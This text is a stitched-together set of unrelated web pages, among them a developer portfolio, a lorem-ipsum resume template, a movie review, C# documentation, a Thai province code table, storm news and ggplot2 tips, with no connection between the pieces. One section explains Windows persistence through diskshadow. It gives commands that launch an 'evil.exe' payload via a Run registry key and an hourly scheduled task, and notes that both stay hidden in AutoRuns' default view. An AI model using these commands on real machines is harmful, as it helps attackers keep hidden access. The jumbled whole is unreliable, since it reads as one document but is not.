Hoa The Nguyen
About Me
Blog
T1. Git
C1. Chef's Kitchen
T2. CSS Design
T3. Array & Hashes
C3. Thinking Style
Project
Contact
Text about me goes here....maybe I'll put a resume type text here. Hover over Blog to read my blogs please. As you can tell this site is still
UNDER CONSTRUCTION!


Technologies Learned
Git
Git is a distributed version-control system for tracking changes in source code during software development. It is designed for coordinating work among programmers, but it can be used to track changes in any set of files. Its goals include speed, data integrity, and support for distributed, non-linear workflows
GithubGitHub, a subsidiary of Microsoft, is a web-based hosting service for version control using Git. It is mostly used for computer code. It offers all of the distributed version control and source code management functionality of Git as well as adding its own features.
HTMLHypertext Markup Language is the standard markup language for creating web pages and web applications. With Cascading Style Sheets and JavaScript, it forms a triad of cornerstone technologies for the World Wide Web.
CSSCascading Style Sheets is a style sheet language used for describing the presentation of a document written in a markup language like HTML. CSS is a cornerstone technology of the World Wide Web, alongside HTML and JavaScript.CSS saves a lot of work. It can control the layout of multiple web pages all at once.
LinuxJust like Windows XP, Windows 7, Windows 8, and Mac OS X, Linux is an operating system. An operating system is software that manages all of the hardware resources associated with your desktop or laptop. To put it simply – the operating system manages the communication between your software and your hardware. Without the operating system (often referred to as the “OS”), the software wouldn’t function. The OS is comprised of a number of pieces: The Bootloader: The software that manages the boot process of your computer. For most users, this will simply be a splash screen that pops up and eventually goes away to boot into the operating system. The kernel: This is the one piece of the whole that is actually called “Linux”. The kernel is the core of the system and manages the CPU, memory, and peripheral devices. The kernel is the “lowest” level of the OS. Daemons: These are background services (printing, sound, scheduling, etc) that either start up during boot, or after you log into the desktop. The Shell: You’ve probably heard mention of the Linux command line. This is the shell – a command process that allows you to control the computer via commands typed into a text interface. This is what, at one time, scared people away from Linux the most (assuming they had to learn a seemingly archaic command line structure to make Linux work). This is no longer the case. With modern desktop Linux, there is no need to ever touch the command line. Graphical Server: This is the sub-system that displays the graphics on your monitor. It is commonly referred to as the X server or just “X”. Desktop Environment: This is the piece of the puzzle that the users actually interact with. There are many desktop environments to choose from (Unity, GNOME, Cinnamon, Enlightenment, KDE, XFCE, etc). Each desktop environment includes built-in applications (such as file managers, configuration tools, web browsers, games, etc). Applications: Desktop environments do not offer the full array of apps. Just like Windows and Mac, Linux offers thousands upon thousands of high-quality software titles that can be easily found and installed. Most modern Linux distributions (more on this in a moment) include App Store-like tools that centralize and simplify application installation. For example: Ubuntu Linux has the Ubuntu Software Center (Figure 1) which allows you to quickly search among the thousands of apps and install them from one centralized location.
AFSAFS is used to host websites on a sever. In order to do this using NJIT's servers, one must have a UCID. These webpages are stored on Highlander AFS. Web.njit.edu is the web server for AFS. All Highlander AFS users can create a website on AFS. Your webpage will have a URL in the form: http://web.njit.edu/~yourUCID.
BootstrapBootstrap is a free and open-source CSS framework directed at responsive, mobile-first front-end web development. It contains CSS- and JavaScript-based design templates for typography, forms, buttons, navigation and other interface components.


Master Yogi:
Ha ha!
This package of 24 can only be purchased every 6 hours.
If you look in your chat window, you should see a system message that tells you how much time is remaining before you can make this purchase again.
[npc_%objectId%_Chat 3|Back]


April 18, 2011 by adam goucher
smattering
A Smattering of Selenium #47
Nothing says ‘Hello Monday!’ like a batch of links and a wife with a kidney stone.
- Eradicating Non-Determinism in Tests is a nice essay by Martin Fowler and applies to Se as Left uncontrolled, non-deterministic tests can completely destroy the value of an automated regression suite.
Reminds us to disable automated updates on your remote machines.- Selenium Simple Automation Infrastructure is a framework built on top of Selenium using Python to make writing scalable, data driven, functional web tests easier with code.
- Lightsaber IDE is a A rite of passage – build your own tools just like the Jedi’s of The Old Republic is all sorts of win. Build your own tools!
- JUnit in a page
- Configuring the local validator with Eclipse is pretty useful if you use BrowserMob (and don’t have a hate-on for all things Eclipse)
- Internet Explorer 10 – 10? WTF? Didn’t 9 just come out?
- How to Lose Races and Win at Selenium has a great trick to reduce duplicate code when creating custom synchronization functions. (Good job Joe!)
- Not that there is such a thing as a ‘Best Practice’, but RSpec Best Practices is full of useful Best Practices.
Selenium – The Most Interesting Scripts In The World- If you are scripting in Ruby, then the Practicing Ruby Ruby blog looks really good.
- While written for the Entrepeneur-set The Entrepreneur vs. The Strategy Consultant but could also apply to how one approaches automation.
- tddium takes the pain out of running Selenium testing in cloud.
- Jason Huggins was the guest on FLOSS Weekly last week.
- Not that using Excel as your data driver is a good idea, but if you did that with Java then Data-driven tests with JUnit 4 and Excel is going to be useful.
- Using Selenium to validate XHTML markup using lettuce is a cool trick to validate your HTML per W3C’s definition of good.
Tags
Categories


 Some might think you don’t need a crash helmet for testing a trike, but seeing the video after the break where [Ben Katz] is flying through a parking garage while slaloming between the support beams proves that this ride has some pep to it.
Looking through the presentation post linked above is fun, but when we started digging though the six build log posts we felt ourselves getting sucked into the project. It’s a delight every step of the way. It started with an aluminum box which will host the two rear wheels, drive train, motor, and battery. [Ben] decided to go with A123 Lithium cells, and after testing to see how many he could fit in the space available he started making choices on the motor and driver circuit. When he finally got his hands on the actual cells for the project he took on the fascinating process of constructing his own battery. Dozens of them were hot glued, then soldered together before being encased by placing them in soda bottles and hitting the plastic with a heat gun. And we haven’t even gotten into the bicycle hub-gear transmission system, disc brakes, differential, chain-drive, and motor… you see what we mean about sucking you in.
Oh, and in case you’re wondering this is not [Ben's] first electric vehicle build. Last year he was showing off his all terrain scooter.
Recent comments


Using a script/text file and diskshadow, an attacker can establish persistence in a variety of ways
- diskshadow.txt -
EXEC "cmd.exe" /c c:\test\evil.exe
- Run Key Value -
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v VSSRun /t REG_EXPAND_SZ /d "diskshadow.exe /s c:\test\diskshadow.txt"
- User Level Scheduled Task -
schtasks /create /sc hourly /tn VSSTask /tr "diskshadow.exe /s c:\test\diskshadow.txt"
AutoRuns – Run Key Value
After creating the key value, we can see that our key is hidden when we open up AutoRuns and select the Logon tab. By default, Windows signed executables are hidden from view (with a few notable exceptions).
After de-selecting “Hide Windows Entries”, we can see the AutoRuns entry.
AutoRuns – Scheduled Tasks
Like the Run Key method, we can see that our entry is hidden in the default AutoRuns view
After de-selecting “Hide Windows Entries”, we can see AutoRuns entry


Hello, I'M Name
Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has
survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged.
Share
Portfolio
Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has
survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged.
Education
Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has
survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged.
Personal Information
- Full Name
- Ola Maria Lowe
- D.o.b.
- 05 Sep 1986
- address
- 24058, Belgium, Brussels, Liutte 27, BE
- e-mail
-<EMAIL_ADDRESS>- phone
- +1 256 254 84 56
- freelance
- Available
languages
English
English
English
Achievements
- check Alvin
- check Alvin
- check Alvin
- check Alvin
Skills
Css
CSS3
Bootstrap
Foundation
SASS
Materialzize
CMS
Drupal
WordPress
Others
Github
Photoshop
JavaScript
jQuery
Projects
Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has
survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged.
2014 - Present
Title, Company
Voluptatibus veniam ea reprehenderit atque reiciendis non laborum adipisci ipsa pariatur omnis.
- Rerum sit libero possimus amet excepturi
- Exercitationem enim dolores sunt praesentium dolorum praesentium
- Modi aut dolores dignissimos sequi sit ut aliquid molestias deserunt illo
2010 - Present
Title, Company
Voluptatibus veniam ea reprehenderit atque reiciendis non laborum adipisci ipsa pariatur omnis.
- Rerum sit libero possimus amet excepturi
- Exercitationem enim dolores sunt praesentium dolorum praesentium
- Modi aut dolores dignissimos sequi sit ut aliquid molestias deserunt illo
2009 - 2010
Title, Company
Voluptatibus veniam ea reprehenderit atque reiciendis non laborum adipisci ipsa pariatur omnis.
- Rerum sit libero possimus amet excepturi
- Exercitationem enim dolores sunt praesentium dolorum praesentium
- Modi aut dolores dignissimos sequi sit ut aliquid molestias deserunt illo
2006 - 2008
Title, Company
Voluptatibus veniam ea reprehenderit atque reiciendis non laborum adipisci ipsa pariatur omnis.
- Rerum sit libero possimus amet excepturi
- Exercitationem enim dolores sunt praesentium dolorum praesentium
- Modi aut dolores dignissimos sequi sit ut aliquid molestias deserunt illo


Portfolio is a website. this project is done by using front-end technology. it is used to showcase my profile
This website project is developed to show my creativity ana give information about Me like my qualification,skills,hobbies and my contact Information.


NUMISHARE ADMINISTRATION
Objects
Pages
Imports
Batch Publication
Numishare Settings
< Return
Save
Load
Create/Edit Artifact
Bibliography
Image
Subjects
Commentary
Descriptive Information
Date
Document ID
The doc id is required
Title
Title is required
Date - Text
Earliest Date
Latest Date
Physical Attributes
Inscription Set
Material Set
Measurements Set
Style Set
Technique Set
Inscription Set
Summary Line
Inscription
Summary Line
Inscription
Author
Position
Text
Author
Position
Text
Material Set
Material
Measurements Set
Summary Line
Dimension
Weight
Summary Line
Dimension
Weight
Style Set
Style
Technique Set
Technique
Provenance
Creator Corporate Name
Creator Family Name
Creator Personal Name
City
Region
State
Archival Information
Collector/Institution
Rights Set
State Edition Set
Collection Name
The collection name is required
Rights Set
Rights
Rights Holder
Text
State Edition Set
State Edition
Name
Description
Bibliography
Reference
Reference
Required
Identifier
Required
Subjects
Subject Term
Commentary
Description Section
Title/Byline
Required
Source
Section
Image
Thumbnail
Screen
Large
Caption
Required
Thumbnail
Screen
Large


BluArmor BLU3 E20 helmet cooling device announced - will be launched in January 2020
by Team ODAfter the BluArmour's BluSnap and BluSnap 2, the third product to hit the market will be the BluArmor BLU3 E20 helmet cooling device. However, this time the BLU3 E20 helmet cooling device comes equipped with Bluetooth connectivity for hassle-free operation.
The device can be synced to the user's phone with Siri or Google assistance to operate the blower speed, and to know the charge left. The device will also read out text and WhatsApp messages to the user. Further, the device can record geotagged voice notes and it will be played back as the user passes the same location.
And with respect to its cooling features, the blower can circulate air of 15 degrees C cooler than the surrounding temperature. The Bengaluru-based start-up claims BLU3 E20 has 100 per cent increase in air flow over the previous versions and will also feature tunable airflow-rate and airflow-direction.
BluArmor will launch the BLU3 E20 at the 2020 Consumer Electronics Show in January.


Stir of Echoes * * * (out of * * * * )
Directed by David Koepp. Cast: Kevin Bacon, Kathryn Erbe, Zachary David Cope, Illeana Douglas, Jenny Morrison, Kevin Dunn, Liza Weil. 1999 - 99 minutes Rated R (for violence, profanity, sex, and an attempted rape). Reviewed September 11, 1999.
It's terribly unfortunate that "Stir of Echoes," tautly written and directed by David Koepp (who made one of 1996's unsung treasures, "The Trigger Effect"), should be released little more than a month after "The Sixth Sense," which is still going strong at the box office. These two films are undoubtedly going to be compared (judging from practically all of my fellow audience members last night), and although they have eerily similar storylines, "Stir of Echoes" is more of a straightforward psychological horror film, while "The Sixth Sense" is closer to a psychological drama. Additionally, while "The Sixth Sense" had a shocker of an ending that undoubtedly has been one of the major factors in its recent repeat business, "Stir of Echoes" is more conventional and predictable in its final twist. And where "The Sixth Sense" was disturbing, "Stir of Echoes" is just plain scary. I have a feeling most viewers are going to come away unimpressed because of the unavoidable similarities, and will foolishly forget to judge this film on its own respectable merits.
Adapted from a novel by Richard Matheson that was written some forty years ago, "Stir of Echoes" opens with a cute six-year-old boy named Jake (Zachary David Cope) who is taking a bath. He is speaking directly at the screen, but we immediately have a feeling someone else is there. Finally, he asks, "Does it hurt to be dead?" Apparently Jake sees the ghosts of dead people, but unlike "The Sixth Sense," this young child isn't the focus of the picture. Instead, Tom Witzy (Kevin Bacon), a Chicago lineman, is our protagonist. Jake is his son, and Maggie (Kathryn Erbe), whom has just discovered she is six weeks pregnant, is his hard-working wife. One night while at a party with their closest friends, Tom convinces Maggie's New-Age sister, Lisa (Illena Douglas), to try and hypnotize him. It unexpectedly works, and before long, Tom is seeing things he wouldn't normally see, including a deceased teenage girl (Jenny Morrison) in his house who happens to have been missing for the last six months. Seeking help from Lisa, she tells him that, while he was under hypnosis, she told him that after he awoke, his mind will remain clear and free, like an opened door. She didn't expect it to work, but it did, and the only way to stop it is for Tom to somehow find a way to help this girl he sees.
"Stir of Echoes" isn't a perfect film by any stretch of the imagination, but in the thick, atmospheric mood it conjures up, it is a terrifically eerie domestic horror-drama, and is not only effective on a technical level, but is impressive in its portrayal of a struggling working-class family. Kevin Bacon and, especially, Kathryn Erbe (1997's "Dream With the Fishes"), are top-notch and exceedingly believable as a loving married couple who nonetheless have their fair share of problems. After Tom is hypnotized and starts seeing ghastly visions, he is completely taken over by his desire to solve this mystery of the disappearing girl whom he has seen lurking in his house, and instead of Maggie not being understanding, she instead believes what Tom says, and aside from being a little worried by what he is going through, does not try to stop his pursuit. Bacon and Erbe are not traditional Hollywood stars like Tom Cruise and Julia Roberts, and therefore, are easier to relate to and always plausible as a struggling couple who have to work overtime at their jobs just to make ends meet.
In a masterfully-done, entrancing sequence, Tom is hypnotized by Lisa, but instead of watching him, we instead see what he sees, starting from his view as he closes his eyes into darkness. Lisa tells him to visualize being in an empty movie theater, and so, we, as audience members, are watching a movie screen from inside a theater, which is also showing a movie screen in a theater. Telling him to move closer and closer to the screen as a fuzzy word in black letters pops up on the screen, we begin to float closer and closer to the front of the theater until we see that the word is "sleep." Never before have I seen a hypnotism scene as mesmerizing and brilliantly-construed as this one. Truthfully, this set-piece, and another in which Tom wakes up from a nightmarish dream only to quickly discover he is reliving what he has just dreamt, are worth the full price of admission alone, just to see them on the big screen.
Having loads of fun with her small role as Maggie's sister, Lisa, Illeana Douglas (1995's "To Die For," her last great character) is a delight, but rarely used to her full advantage in feature films. Funny and enjoyably offbeat, Douglas gets to utter the best line in the film: While talking to Maggie about Tom's visions of the girl, she remarks, "I wouldn't be worried about him seeing another girl, although the fact that she's dead gives one pause." Also of note are Jenny Morrison (1994's "Intersection"), who is truly poignant in the last half of the film when we flash back to see what really happened to her missing character, and Liza Weil, remarkable in 1998's "Whatever," as Morrison's grieving teenage sister, Debbie.
If the resolution of "Stir of Echoes" does not live up to its obviously frightful full potential (and it doesn't), what comes before is both involving and appropriately gritty. The music score, by James Newton Howard, and unsettling use of whispers and ghostly sound effects, successfully compliment and foreshadow the off-kilter frame-of-mind that Tom is put into, and director David Koepp proves once again that he is a director with a knack for creating almost unbearably tense situations that revolve around realistically-written characters. "Stir of Echoes" isn't as good as "The Sixth Sense," but why should it need to be? Both films are fully capable of standing on their own two feet, and "Stir of Echoes" really is a spinetinglingly good horror film.
- Copyright 1999 by Dustin Putman NZone Magazine
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


Jordan Zhu
I am a Web Developer.
Education
Florida International University
University of Central Florida
Work Experience
Dates
Work
2010
Researcher at the Institute of Cognitive Neurosciences
Skills
Web Development
⭐
Painting
⭐
My Hobbies
Beer brewing
Martial arts
Motorcycles
Contact Me


Model Keys
Keys are very important part of Relational database model. They are used to establish and identify relationships between tables and also to uniquely identify any record or row of data inside a table.
A Key can be a single column or a group of columns, where the combination may act as a key.
Primary Key (PK)
A primary key is a special relational database table column (or combination of columns) designated to uniquely identify all table records. Models have primary key should have nested class PK
and derived from Model<T>:
public class Address : BaseModel<Address.PK>
{
...
public sealed class PK : CandidateKey
{
public PK(_Int32 addressID)
: base(addressID)
{
}
}
protected sealed override PK CreatePrimaryKey()
{
return new PK(AddressID);
}
[Identity]
public _Int32 AddressID { get; private set; }
...
}
Key/Ref
Optionally, you can define nested class Key
/Ref
, which contains exactly the primary key column(s):
public class Address : ...
{
...
public class Key : Key<PK>
{
static Key()
{
Register((Key _) => _.AddressID, _AddressID);
}
protected sealed override PK CreatePrimaryKey()
{
return new PK(AddressID);
}
public _Int32 AddressID { get; private set; }
}
public class Ref : Ref<PK>
{
static Ref()
{
Register((Ref _) => _.AddressID, _AddressID);
}
public _Int32 AddressID { get; private set; }
protected override PK CreateForeignKey()
{
return new PK(AddressID);
}
}
...
}
The following table shows the difference between nested class Key
and Ref
:
| Key | Ref |
|---|---|
Data rows must be unique. Can be used to delete rows from main table. For example, you can put ids into DataSet<Address.Key> , to delete these rows from Address table, in one server round trip. |
Duplicate data rows allowed. Can be used to lookup values from the main table. For example, you can lookup Address attribute such as City and StateProvince for existing ids in DataSet<Address.Ref> , in one server round trip. |
Add PK/Key/Ref
You can add nested class PK
via Model Visualizer when your class is derived from Model (you can temporarily change your base class to Model if it's not). This will save you a lot of key strokes and API remembering. Just click the left top drop down button of Model Visualizer tool window, then click 'Add Primary Key...':
The following dialog will be displayed:
Click button 'OK', the code will be generated automatically:
- Add nested class
Address.PK
- Change base class from
Model
toModel<Address.PK>
- Override
CreatePrimaryKey
method
Class Key
/Ref
can be added together with PK
with Key
/Ref
checkbox selected in the dialog, or added later separately via dropdown context menu.
Foreign Key
A foreign key is a column or group of columns in a relational database table that provides a link between data in two tables. It acts as a cross-reference between tables because it references the primary key of another table, thereby establishing a link between them.
Foreign key is defined as readonly model property, of type of the main model PK:
public class CustomerAddress : ...
{
...
private Address.PK _fk_address;
public Address.PK FK_Address
{
get { return _fk_address ?? (_fk_address = new Address.PK(AddressID)); }
}
public _Int32 AddressID { get; private set; }
...
}
Again with no surprise, you can add foreign key conveniently via Model Visualizer tool window, by clicking the left top drop down button, then click 'Add Foreign Key...':
The following dialog will be displayed:
Fill the primary key type and provide cross reference columns, then click button 'OK', the code will be generated automatically!


Versioning
In a nutshell
Version takes a form major.minor.patch.
major is incremented for backwards incompatible changes, minor for new APIs and patch for bug fixes.
If major is 0, minor may be incremented instead of major.
Versions are compared as expected.
Formal definition
Nut versioning scheme is adopted from Semantic Versioning 2.0.0-rc.1 by Tom Preston-Werner, licensed under the Creative Commons Attribution 3.0 License.
The key words "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL NOT", "SHOULD", "SHOULD NOT", "RECOMMENDED", "MAY", and "OPTIONAL" in this document are to be interpreted as described in RFC 2119.
-
Nut MUST declare and document a public API. It should be precise and comprehensive.
-
Once a nut version has been published, the contents of that version MUST NOT be modified. Any modifications must be published as a new version.
-
A version number MUST take the form X.Y.Z where X, Y, and Z are non-negative integers. X is the major version, Y is the minor version, and Z is the patch version. Each element MUST increase numerically by increments of one. For instance: 1.9.0 -> 1.10.0 -> 1.11.0.
-
Patch version Z MUST be incremented if only backwards compatible bug fixes are introduced. A bug fix is defined as an internal change that fixes incorrect behavior. It MUST NOT change a public API.
-
Minor version Y MUST be incremented if new, backwards compatible functionality is introduced to the public API. It MUST be incremented if any public API functionality is marked as deprecated. It MAY be incremented if substantial new functionality or improvements are introduced within the private code. It MAY include patch level changes. Patch version MUST be reset to 0 when minor version is incremented.
-
Major version X MUST be incremented if any backwards incompatible changes are introduced to the public API. It MAY include minor and patch level changes. Patch and minor version MUST be reset to 0 when major version is incremented.
-
Major version 0 is for initial development. It allows to increment minor version instead of major for backwards incompatible changes in public API.
-
Precedence MUST be calculated by separating the version into major, minor and patch in that order. Major, minor, and patch versions are always compared numerically.


| (TH) THAILAND |
| Subdivision | 1 metropolitan administration (en) / administration métropolitaine (fr); 1 special administrative city (en) / ville administrative spéciale (fr); 75 provinces (en) / province (fr) / changwat (th) |
| List Source | Thai Industrial Standards Institute (TISI), 1997-04-11; 1998-09-22 |
| Code Source | Thai Industrial Standards Institute (TISI), 1997-04-11 |
| Romanization system | Not obtained |
| Country | Subdivision | Name | Level |
| TH | 10 | Krung Thep Maha Nakhon [Bangkok] | Metropolitan Administration |
| TH | 11 | Samut Prakan | Province |
| TH | 12 | Nonthaburi | Province |
| TH | 13 | Pathum Thani | Province |
| TH | 14 | Phra Nakhon Si Ayutthaya | Province |
| TH | 15 | Ang Thong | ProvinceProvince |
| TH | 16 | Lop Buri | Province |
| TH | 17 | Sing Buri | Province |
| TH | 18 | Chai Nat | Province |
| TH | 19 | Saraburi | Province |
| TH | 20 | Chon Buri | Province |
| TH | 21 | Rayong | Province |
| TH | 22 | Chanthaburi | Province |
| TH | 23 | Trat | Province |
| TH | 24 | Chachoengsao | Province |
| TH | 25 | Prachin Buri | Province |
| TH | 26 | Nakhon Nayok | Province |
| TH | 27 | Sa Kaeo | Province |
| TH | 30 | Nakhon Ratchasima | Province |
| TH | 31 | Buri Ram | Province |
| TH | 32 | Surin | Province |
| TH | 33 | Si Sa Ket | Province |
| TH | 34 | Ubon Ratchathani | Province |
| TH | 35 | Yasothon | Province |
| TH | 36 | Chaiyaphum | Province |
| TH | 37 | Amnat Charoen | Province |
| TH | 39 | Nong Bua Lam Phu | Province |
| TH | 40 | Khon Kaen | Province |
| TH | 41 | Udon Thani | Province |
| TH | 42 | Loei | Province |
| TH | 43 | Nong Khai | Province |
| TH | 44 | Maha Sarakham | Province |
| TH | 45 | Roi Et | Province |
| TH | 46 | Kalasin | Province |
| TH | 47 | Sakon Nakhon | Province |
| TH | 48 | Nakhon Phanom | Province |
| TH | 49 | Mukdahan | Province |
| TH | 50 | Chiang Mai | Province |
| TH | 51 | Lamphun | Province |
| TH | 52 | Lampang | Province |
| TH | 53 | Uttaradit | Province |
| TH | 54 | Phrae | Province |
| TH | 55 | Nan | Province |
| TH | 56 | Phayao | Province |
| TH | 57 | Chiang Rai | Province |
| TH | 58 | Mae Hong Son | Province |
| TH | 60 | Nakhon Sawan | Province |
| TH | 61 | Uthai Thani | Province |
| TH | 62 | Kamphaeng Phet | Province |
| TH | 63 | Tak | Province |
| TH | 64 | Sukhothai | Province |
| TH | 65 | Phitsanulok | Province |
| TH | 66 | Phichit | Province |
| TH | 67 | Phetchabun | Province |
| TH | 70 | Ratchaburi | Province |
| TH | 71 | Kanchanaburi | Province |
| TH | 72 | Suphan Buri | Province |
| TH | 73 | Nakhon Pathom | Province |
| TH | 74 | Samut Sakhon | Province |
| TH | 75 | Samut Songkhram | Province |
| TH | 76 | Phetchaburi | Province |
| TH | 77 | Prachuap Khiri Khan | Province |
| TH | 80 | Nakhon Si Thammarat | Province |
| TH | 81 | Krabi | Province |
| TH | 82 | Phangnga | Province |
| TH | 83 | Phuket | Province |
| TH | 84 | Surat Thani | Province |
| TH | 85 | Ranong | Province |
| TH | 86 | Chumphon | Province |
| TH | 90 | Songkhla | Province |
| TH | 91 | Satun | Province |
| TH | 92 | Trang | Province |
| TH | 93 | Phatthalung | Province |
| TH | 94 | Pattani | Province |
| TH | 95 | Yala | Province |
| TH | 96 | Narathiwat | Province |
| TH | S | Phatthaya | Special Administrative City |
© UNECE | Terms of use | Privacy notice | Site map | Contact us |


Tropical storms bear down on the Philippines
Kalmaegi and Fung-Wong threaten torrential downpours and possible flooding across northern Luzon.
Over the past few days, Tropical Storm Kalmaegi has been heading towards Luzon island, bringing very heavy rainfall to the northeast of the Philippines.
The storm, which is known locally as Ramon, made landfall in the early hours of Wednesday along the Santa Ana-Gonzaga area. It is currently located around 300km (186 miles) to the northeast of the capital, Manila.
It has sustained winds of 100km/h (62m/h) with damaging gusts approaching 130km/h (81m/h).
Kalmaegi is expected to weaken quickly as it moves overland, before emerging over Lingayen Gulf later on Wednesday, passing over or very close to Cape Bolinao, Pangasinan and into the West Philippine Sea on Thursday.
Even though the winds are expected to ease, heavy downpours and possibly floods will likely continue for a while. Aparri, in the province of Cagayan, recorded 99 millimetres (0.92 feet) on Tuesday.
Further bands, thunderstorms and gusty winds of rain are expected throughout the week across northern and northeastern parts of Luzon, with downpours enhanced by the northeast monsoon.
The remnants of Kalmaegi will then head towards southern Vietnam. It will then be quickly followed by Tropical Storm Fung-Wong, known locally as Sarah. Located around 755km (469 miles) to the northeast of Manila, this storm is somewhat weaker with winds of 65km/h (40m/h) gusting 80km/h (49.7m/h).
Fung-Wong is not expected to hit the Philippines, but another pulse of heavy rain is still likely from the outer bands of the system as it tracks in a general northeasterly direction towards Taiwan this weekend.


This post describes all the available options to customize the chart title with R
and ggplot2
. It shows how to control its color, its position, and more.
ggplot2
titleIt is possible to add a title to a ggplot2 chart using the ggtitle()
function. It works as follow:
# library & data
library(ggplot2)
data <- data.frame(x=rnorm(100))
# Basic plot with title
ggplot( data=data, aes(x=x)) +
geom_histogram(fill="skyblue", alpha=0.5) +
ggtitle("A blue Histogram") +
theme_minimal()
It is a common need to set the title on several lines. To add a break and skip to a second line, just add a \n
in the text.
# title on several lines
ggplot( data=data, aes(x=x)) +
geom_histogram(fill="skyblue", alpha=0.5) +
ggtitle("A blue \nHistogram") +
theme_minimal()
Here are 2 tricks to control text appearance and its position. Both features are controled thanks to the plot.title
argument of the theme()
function. Appearance can be controlled with option such as family
, size
or color
, when position is controlled with hjust
and vjust
.
# Custom title appearance
ggplot( data=data, aes(x=x)) +
geom_histogram(fill="skyblue", alpha=0.5) +
ggtitle("A blue Histogram") +
theme_minimal() +
theme(
plot.title=element_text(family='', face='bold', colour='purple', size=26)
)
# Adjust the position of title
ggplot( data=data, aes(x=x)) +
geom_histogram(fill="skyblue", alpha=0.8) +
ggtitle("With title on the right") +
theme_minimal() +
theme(
plot.title=element_text( hjust=1, vjust=0.5, face='bold')
)
If you want to highlight a specific set of words in the title, it is doable thanks to the expression()
function.


Abby is a freshman Computer Science student at UTDallas. While WEHack is not her first hackathon, she has learned much that she would not have if not for participating in WEHack. Abby enjoys playing games, listening to music, and trying new things. She is familiar with Java, C++, HTML/CSS, Javascript, and Python. In the past, Abby worked on her high school robotics team for her last two years of high school, and she is excited to continue working with robotics throughout her college career through learning opportunities such as WEHack.
Ashleigh is a junior CS student and recent transfer to UTD. She enjoys reading, gaming, and challenges (like WEHack)! While this is her second hackathon, she’s learned a lot about Python, JavaScript, HTML, and CSS and how each language can lend itself to the robotics industry. Ashleigh has a newfound interest in robotics thanks to WEHack and plans to go buy an Arduino kit to play with after WEHack ends.
Natalie is a senior CS student, with a bit of experience in machine learning and database construction.
Rosie is a junior CS student, currently interested in the education field. She's involved with the young WISE mentorship program and UTeach. Rosie likes the team aspect of hackathons, as they present a complex challenge not only in regards to programming, but communication as well. WEHack has shown Rosie the complexities behind computer networking (especially proxy servers) and given her some newfound inspiration. Thanks SWE!


A straight-forward Line chart that is showing UFO sightings over the past century. As you can see - peoples inventiveness is clearly on the increase! The chart uses a gray background with a white grid on top along with a black colored line.
This goes in the documents header: Put this where you want the chart to show up:

This is the code that generates the chart:


[§457A-6] Certification required. Except as otherwise provided in this chapter, no person shall:
(1) Represent one's self as a certified nurse aide;
(2) Imply, in any manner, that one's self is a certified nurse aide; or
(3) Use the abbreviation "C.N.A." or any other words, letters, signs, or devices to identify one's self as a certified nurse aide;
without having first obtained certification as provided in this chapter. [L 2007, c 226, pt of §4]


AJAX Tutorial Update
byHappy 10th Birthday AJAX!!!!
Ten years ago today, web developer Jesse James Garrett wrote his ground-breaking AJAX article and changed the world in the process. At least the world of web development.
If you're reading this and are a non-technical person, understand that AJAX described an efficient method to load content onto a web page. This method would come about eventually...the Internet was evolving towards it.
But if AJAX didn't happen for some bizarre reason, then the growth of the Internet would have stagnated. And Facebook, Twitter, Instagram, Foursquare, Pinterest, Apple and Google (especially Google) wouldn't have enjoyed the success they're enjoying today.
I have a really old AJAX tutorial that's in need of a serious update. So in honor of this birthday, I'm releasing an updated new, in-depth AJAX tutorial.
A preamble...
Every January 1st, I review my site's traffic for the previous year. For the past two years, my tutorial titled "How AJAX, HTML5 and jQuery Work Together" is always close to the top.
Again, this article is old...it was published on January 11th, 2011. Looking at it from that point a view, the article has some issues:
I readily admit to doing some keyword stuffing for this post. I didn't need to mention "HTML5" in the article because you can do AJAX stuff without it. HTML5 was a hot topic at the time and although I did tie it to AJAX, I didn't need to.
The old post discussed jQuery's AJAX functionality when jQuery was at version 1.4.4. But when jQuery went to 1.5, its AJAX engine got a major rewrite. It was made to be faster and also introduced the concept of Promises via its AJAX-based jqXHR object. jQuery's use of Promises is controversial, but still worth knowing.
Another issue: Google Analytics showed that this post received little engagement despite the high traffic it was getting. People were staying on for a few seconds at most, no one shared it on social networks or linked to it.
My tutorial on removing files from GitHub was in the exact same position and I rewrote it in the hopes of increasing engagement...read about that here. I got to the point of the tutorial much quicker, made the content more "scannable", removed the images and used shorter words where possible.
The result of all this was an average of 1.5+ minutes more spent on the page and more Twitter shares.
I'm happy with that.
All this showed me that it's worth it to rewrite a post when the numbers indicate it, so I rewrote the AJAX post as a direct result. There are a few significant changes:
Where I shorten the GitHub post's content, the new AJAX page's content is longer...much, much longer. I'll concede this is a bit of a risk so in order to make things as easy to read as possible, I included a very scannable in-page navigation, added links throughout the post which jump back to the navigation, performed readability tests with Readability Score and used as many short words as possible. All told, it took me a month to rewrite this tutorial to the point that I was 100% comfortable with its content.
Focused more on jQuery's excellent AJAX functionality and discussed its (controversial) Promise functionality.
Included lots of demos that can be viewed as well as downloaded from GitHub.
I'm trying to get the search engines to view this page as "cornerstone content", content that represents the best of the best on my blog. In that scenario, it's best to treat the content as a "page" and not a "blog post". I did this by changing things around in my site structure as well as link to this article in the site's main navigation, all in the hopes of the search engines understanding that this content is top-notch. Yoast has an excellent post on setting up cornerstone content.
